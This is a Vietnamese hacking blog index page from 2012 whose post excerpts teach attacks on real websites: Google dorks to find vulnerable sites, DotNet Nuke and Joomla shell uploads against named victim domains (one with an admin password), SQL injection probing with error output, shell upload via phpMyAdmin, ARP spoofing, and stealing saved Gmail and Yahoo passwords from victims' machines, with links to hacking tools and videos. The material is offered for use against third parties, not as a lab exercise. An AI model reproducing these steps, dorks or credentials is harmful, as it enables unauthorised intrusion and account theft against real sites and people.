Hồ Đức Dũng - Ducdung.08clc

Thứ Bảy, 18 tháng 2, 2012

Kỹ Thuật Upshell Đối Với Joomla P.I

Bước 1: Loggin với quyền admin:

http://biendientu.com/administrator/

admin / soleil

Bước 2: Thiết lập định dạng file cho phép upload

Chọn “Cấu hình chung” / “ Hệ thống” /“Cấu hình phương tiện”

Đọc thêm »

Thứ Sáu, 17 tháng 2, 2012

Demo Hack Web Bằng Kỹ Thuật DNN (DotNet Nuke)

Bước 1: Sử dụng google để tìm site chứa lỗ hổng DNN

:inurl:/tabid/36/language/en-US/Default.aspx

Inurl:”/portals/0”

Bước 2: Chọn 1 victim bất kỳ, ví dụ:

http://www.citedelajoiehaiti.org/tabid/36/language/vi-VN/Default.aspx

Bước 3: Thay thế đoạn url sau:

/tabid/36/language/en-US/Default.aspx

Bằng đoạn mã url:

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Lúc đó, đường link của victim như sau:

http://www.citedelajoiehaiti.org/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Thông tin thu được:

Đọc thêm »

Ebook Hacking

Tổng hợp ebook hacking của TGH

http://up.4share.vn/d/39080c0f0d09000d

Kho Video Học Hacking

Tổng hợp các kho video hacking chủ yếu là SQLI, Upshell và Local Attack từ trước đến nay

http://www.mediafire.com/?pm55krbicizbc

http://up.4share.vn/d/5e6f6b686a6e6768

http://up.4share.vn/d/2312141610121412

Trong bài đâu tiên vê chủ để SQLI, Soleil giới thiệu với các bạn lỗi Jet khá phổ biến

Đây là dạng lỗi SQL mà khai thác dễ nhất nhưng đòi hỏi có 1 chút kinh nghiệm trong quá trình khái thác vì phải đoán table và column

Một số dork dùng để tìm site dính lỗ hổng bảo mật Jet:

tintuc.asp?tin_ID=
chitiet.asp?ID=

Victim hôm nay soleil sẽ demo là:
http://thanhancamera.com/news.asp?tin_ID=86

Bước 1: Check lỗi

Thêm dấu’ vào cuối đường link url, nếu site dính lỗi sẽ xuất hiện thông báo như sau:
http://thanhancamera.com/news.asp?tin_ID=86’

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'tin_ID=86 ''.

/news.asp, line 16

Đọc thêm »

Tấn công Man-in-the-Middle – Giả mạo ARP Cache

1- Nguyên Tắc Hoạt Động ARP Trong Môi Trường Mạng

1.1 - ARP là gì ?

ARP (Address Resolution Protocol) là phương thức phân giải địa chỉ động giữa địa chỉ lớp network và địa chỉ lớp datalink trong mô hình SOI. Quá trình thực hiện bằng cách: một thiết bị IP trong mạng gửi một gói tin broadcast đến toàn mạng yêu cầu thiết bị khác gửi trả lại địa chỉ phần cứng ( địa chỉ lớp datalink ) của mình.

Đọc thêm »

Bug Dork Upload Shell

B1. Sử dụng dork sau vào google

allinurl:"index.php?Act=Merchants"

B2. Chọn 1 victim bất kỳ

http://www.vhmnetwork.com/index.php?Act=Merchants

B3. Thay đường path trên thành:

http://www.vhmnetwork.com/admin/backupstart.php

Đọc thêm »

Up Shell Via phpMyAdmin

Bước 1: Tìm Path của document root

+ Thông thường vào link http://www.victim.com/xampp/ đê xem document root

Ví dụ: http://www.ehtpe.co.cu/xampp/

+ Vào Php infor() để xem path document root : C:/xampp/htdocs

Đọc thêm »

Kỹ Thuật hack Password Gmail và Yahoo Tổng Hợp

I - Exploit password được lưu lại trên các trình duyệt

Hacker thường lợi dụng thói quen của người dùng thường lưu lại password các tài khoản trên trình duyệt để lần sau đăng nhập dễ hơn. Khi có quyền điều máy tính của victim, password có thể bị lấy như sau:

- Đối với firefox password được lưu lại theo đường dẫn:

tool -> options ->security -> save password s-> show password

- Đối với IE hoặc chrome (cả firefox nữa) ta có thể dùng tool sau:

http://www.mediafire.com/?mj1mm8gx07m1db0 (pass dải nén: ducdung.08clc)

II - Password yahoo messenger được lưu lại:

Bạn vào run: regedit

Sau đó vào theo đường dẫn: HKEY_CURRENT_USER -> software -> yahoo ->paper

Click vào “paper”, bạn nhìn sang khung bên trái , ở cột name, bạn chú ý 2 mục có tên: “ETS” và “Yahoo! User ID”. Ta sang bên cột data()

+ ETS : chính là password ở dạng mã hóa

+ Yahoo! User ID: Chính là nickname yahoo

Vậy ta có thể làm được gì: Hình thức mã hóa với phiên bản beta 11 tôi chưa giải mã được.

Nhưng nếu coppy đoạn mã hóa password (ETS) từ máy của victim rồi thay vào máy của mình và thay cả nickname yahoo của victim vào “ Yahoo! User ID”, thì lúc khởi động, nickname của victim sẽ đăng nhập tự đông trên máy của mình.

Đọc thêm »